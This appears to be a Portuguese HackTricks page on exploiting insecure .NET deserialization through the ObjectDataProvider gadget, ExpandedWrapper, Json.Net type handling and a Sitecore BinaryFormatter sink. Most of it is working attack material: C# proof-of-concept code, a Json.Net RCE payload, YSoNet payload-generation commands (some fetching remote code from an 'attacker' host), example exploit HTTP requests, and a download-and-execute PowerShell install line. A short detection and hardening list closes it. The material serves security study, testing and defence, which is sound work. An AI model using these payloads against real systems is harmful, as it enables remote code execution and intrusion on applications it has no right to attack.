Desserialização .Net básica (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)
Reading time: 10 minutes
tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: 
HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure: 
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
 - Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
 - Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
 
Esta postagem é dedicada a entender como o gadget ObjectDataProvider é explorado para obter RCE e como as bibliotecas de Serialização Json.Net e xmlSerializer podem ser abusadas com esse gadget.
ObjectDataProvider Gadget
Da documentação: the ObjectDataProvider Class Wraps and creates an object that you can use as a binding source.
Ok, é uma explicação estranha, então vamos ver o que essa classe tem de tão interessante: essa classe permite encapsular um objeto arbitrário, usar MethodParameters para definir parâmetros arbitrários, e então usar MethodName para chamar uma função arbitrária do objeto arbitrário declarado usando os parâmetros arbitrários.
Portanto, o objeto arbitrário irá executar uma função com parâmetros enquanto está sendo desserializado.
Como isso é possível
O namespace System.Windows.Data, encontrado dentro de PresentationFramework.dll em C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF, é onde o ObjectDataProvider é definido e implementado.
Usando dnSpy você pode inspecionar o código da classe que nos interessa. Na imagem abaixo estamos vendo o código de PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method name
.png)
Como você pode observar, quando MethodName é definido base.Refresh() é chamado; vamos dar uma olhada no que ele faz:
.png)
Ok, vamos continuar vendo o que this.BeginQuery() faz. BeginQuery é sobrescrito por ObjectDataProvider e isto é o que ele faz:
.png)
Note que no final do código ele chama this.QueryWorke(null). Vamos ver o que isso executa:
.png)
Note que este não é o código completo da função QueryWorker mas mostra a parte interessante dela: o código chama this.InvokeMethodOnInstance(out ex); esta é a linha onde o método definido é invocado.
Se você quiser verificar que apenas definindo o MethodName ele será executado, você pode executar este código:
using System.Windows.Data;
using System.Diagnostics;
namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ObjectDataProvider myODP = new ObjectDataProvider();
myODP.ObjectType = typeof(Process);
myODP.MethodParameters.Add("cmd.exe");
myODP.MethodParameters.Add("/c calc.exe");
myODP.MethodName = "Start";
}
}
}
Note that you need to add as reference C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll in order to load System.Windows.Data
ExpandedWrapper
Usando o exploit anterior haverá casos em que o object será deserializado como uma instância ObjectDataProvider (por exemplo no DotNetNuke vuln, usando XmlSerializer, o objeto foi desserializado usando GetType). Nesse caso, não haverá conhecimento do tipo de objeto que está encapsulado na instância ObjectDataProvider (Process, por exemplo). You can find more information about the DotNetNuke vuln here.
Esta classe permite specificar os tipos de objeto dos objetos que são encapsulados em uma determinada instância. Assim, esta classe pode ser usada para encapsular um objeto de origem (ObjectDataProvider) em um novo tipo de objeto e fornecer as propriedades que precisamos (ObjectDataProvider.MethodName e ObjectDataProvider.MethodParameters).
Isto é muito útil para casos como o apresentado antes, porque seremos capazes de envelopar _ObjectDataProvider** dentro de uma instância **ExpandedWrapper _ e, quando desserializado, esta classe irá criar o OjectDataProvider objeto que irá executar a função indicada em MethodName.
You can check this wrapper with the following code:
using System.Windows.Data;
using System.Diagnostics;
using System.Data.Services.Internal;
namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ExpandedWrapper<Process, ObjectDataProvider> myExpWrap = new ExpandedWrapper<Process, ObjectDataProvider>();
myExpWrap.ProjectedProperty0 = new ObjectDataProvider();
myExpWrap.ProjectedProperty0.ObjectInstance = new Process();
myExpWrap.ProjectedProperty0.MethodParameters.Add("cmd.exe");
myExpWrap.ProjectedProperty0.MethodParameters.Add("/c calc.exe");
myExpWrap.ProjectedProperty0.MethodName = "Start";
}
}
}
Json.Net
Na official web page é indicado que esta biblioteca permite Serialize and deserialize any .NET object with Json.NET's powerful JSON serializer. Portanto, se pudéssemos deserialize the ObjectDataProvider gadget, poderíamos causar uma RCE apenas desserializando um objeto.
Exemplo Json.Net
Primeiro, vamos ver um exemplo de como serialize/deserialize um objeto usando esta biblioteca:
using System;
using Newtonsoft.Json;
using System.Diagnostics;
using System.Collections.Generic;
namespace DeserializationTests
{
public class Account
{
public string Email { get; set; }
public bool Active { get; set; }
public DateTime CreatedDate { get; set; }
public IList<string> Roles { get; set; }
}
class Program
{
static void Main(string[] args)
{
Account account = new Account
{
Email = "james@example.com",
Active = true,
CreatedDate = new DateTime(2013, 1, 20, 0, 0, 0, DateTimeKind.Utc),
Roles = new List<string>
{
"User",
"Admin"
}
};
//Serialize the object and print it
string json = JsonConvert.SerializeObject(account);
Console.WriteLine(json);
//{"Email":"james@example.com","Active":true,"CreatedDate":"2013-01-20T00:00:00Z","Roles":["User","Admin"]}
//Deserialize it
Account desaccount = JsonConvert.DeserializeObject<Account>(json);
Console.WriteLine(desaccount.Email);
}
}
}
Abusing Json.Net
Usando ysoserial.net eu criei o exploit:
yoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}
Neste código você pode testar o exploit, basta executá-lo e você verá que o calc é executado:
using System;
using System.Text;
using Newtonsoft.Json;
namespace DeserializationTests
{
class Program
{
static void Main(string[] args)
{
//Declare exploit
string userdata = @"{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}";
//Exploit to base64
string userdata_b64 = Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(userdata));
//Get data from base64
byte[] userdata_nob64 = Convert.FromBase64String(userdata_b64);
//Deserialize data
string userdata_decoded = Encoding.UTF8.GetString(userdata_nob64);
object obj = JsonConvert.DeserializeObject<object>(userdata_decoded, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
}
}
}
Advanced .NET Gadget Chains (YSoNet & ysoserial.net)
A técnica ObjectDataProvider + ExpandedWrapper introduzida acima é apenas uma das MUITAS cadeias de gadgets que podem ser abusadas quando uma aplicação realiza desserialização .NET insegura. Ferramentas modernas de red-team como YSoNet (e o mais antigo ysoserial.net) automatizam a criação de object graphs maliciosos prontos para uso para dezenas de gadgets e formatos de serialização.
Abaixo está uma referência condensada das cadeias mais úteis fornecidas com YSoNet juntamente com uma rápida explicação de como funcionam e comandos de exemplo para gerar os payloads.
| Cadeia de Gadgets | Ideia-chave / Primitiva | Serializadores Comuns | Comando YSoNet | 
|---|---|---|---|
| TypeConfuseDelegate | Corrompe o registro DelegateSerializationHolder de modo que, uma vez materializado, o delegate aponta para qualquer método fornecido pelo atacante (por exemplo Process.Start) | BinaryFormatter, SoapFormatter, NetDataContractSerializer | ysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin | 
| ActivitySurrogateSelector | Abusa System.Workflow.ComponentModel.ActivitySurrogateSelector para contornar a filtragem de tipos do .NET ≥4.8 e invocar diretamente o construtor de uma classe fornecida ou compilar um arquivo C# em tempo de execução | BinaryFormatter, NetDataContractSerializer, LosFormatter | ysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat | 
| DataSetOldBehaviour | Aproveita a representação XML legada de System.Data.DataSet para instanciar tipos arbitrários preenchendo os campos <ColumnMapping> / <DataType> (opcionalmente forjando o assembly com --spoofedAssembly) | LosFormatter, BinaryFormatter, XmlSerializer | ysonet.exe DataSetOldBehaviour "<DataSet>…</DataSet>" --spoofedAssembly mscorlib > payload.xml | 
| GetterCompilerResults | Em runtimes com suporte a WPF (> .NET 5) encadeia getters de propriedade até alcançar System.CodeDom.Compiler.CompilerResults, então compila ou carrega uma DLL fornecida com -c | Json.NET typeless, MessagePack typeless | ysonet.exe GetterCompilerResults -c Loader.dll > payload.json | 
| ObjectDataProvider (review) | Usa WPF System.Windows.Data.ObjectDataProvider para chamar um método estático arbitrário com argumentos controlados. YSoNet adiciona uma variante conveniente --xamlurl para hospedar o XAML malicioso remotamente | BinaryFormatter, Json.NET, XAML, etc. | ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml | 
| PSObject (CVE-2017-8565) | Incorpora um ScriptBlock dentro de System.Management.Automation.PSObject que é executado quando o PowerShell desserializa o objeto | PowerShell remoting, BinaryFormatter | ysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin | 
tip
Todos os payloads são escritos no stdout por padrão, tornando trivial canalizá-los para outras ferramentas (por exemplo, geradores de ViewState, codificadores base64, clientes HTTP).
Compilando / Instalando YSoNet
Se não houver binários pré-compilados em Actions ➜ Artifacts / Releases, o seguinte one-liner em PowerShell irá configurar um ambiente de build, clonar o repositório e compilar tudo no modo Release:
Set-ExecutionPolicy Bypass -Scope Process -Force;
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072;
iex ((New-Object System.Net.WebClient).DownloadString('https://community.chocolatey.org/install.ps1'));
choco install visualstudio2022community visualstudio2022-workload-nativedesktop msbuild.communitytasks nuget.commandline git --yes;
git clone https://github.com/irsdl/ysonet
cd ysonet
nuget restore ysonet.sln
msbuild ysonet.sln -p:Configuration=Release
O arquivo compilado ysonet.exe pode então ser encontrado em ysonet/bin/Release/.
Detecção & Endurecimento
- Detecte processos filho inesperados de 
w3wp.exe,PowerShell.exe, ou qualquer processo desserializando dados fornecidos pelo usuário (p.ex.MessagePack,Json.NET). - Ative e aplique filtragem por tipo (
TypeFilterLevel= Full, customSurrogateSelector,SerializationBinder, etc.) sempre que o legadoBinaryFormatter/NetDataContractSerializernão puder ser removido. - Quando possível, migre para 
System.Text.JsonouDataContractJsonSerializercom conversores baseados em whitelist. - Bloqueie assemblies WPF perigosos (
PresentationFramework,System.Workflow.*) de serem carregados em processos web que nunca deveriam precisar deles. 
Sink do mundo real: Sitecore convertToRuntimeHtml → BinaryFormatter
Um sink .NET prático acessível em fluxos autenticados do Sitecore XP Content Editor:
- Sink API: 
Sitecore.Convert.Base64ToObject(string)envolvenew BinaryFormatter().Deserialize(...). - Caminho de disparo: pipeline 
convertToRuntimeHtml→ConvertWebControls, que procura por um elemento irmão comid="{iframeId}_inner"e lê um atributovalueque é tratado como dados serializados codificados em base64. O resultado é convertido (cast) para string e inserido no HTML. 
Exemplo mínimo de ponta a ponta (autenticado):
// Load HTML into EditHtml session
POST /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx
Content-Type: application/x-www-form-urlencoded
__PARAMETERS=edithtml:fix&...&ctl00$ctl00$ctl05$Html=
<html>
<iframe id="test" src="poc"></iframe>
<dummy id="test_inner" value="BASE64_BINARYFORMATTER"></dummy>
</html>
// Server returns a handle; visiting FixHtml.aspx?hdl=... triggers deserialization
GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=...
- Gadget: qualquer cadeia BinaryFormatter que retorne uma string (efeitos colaterais executados durante a deserialization). Veja YSoNet/ysoserial.net para gerar payloads.
 
Para uma cadeia completa que começa pre‑auth com HTML cache poisoning em Sitecore e leva a este sink:
Referências
- YSoNet – .NET Deserialization Payload Generator
 - ysoserial.net – original PoC tool
 - Microsoft – CVE-2017-8565
 - watchTowr Labs – Sitecore XP cache poisoning → RCE
 
tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: 
HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure: 
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
 - Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
 - Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
 
HackTricks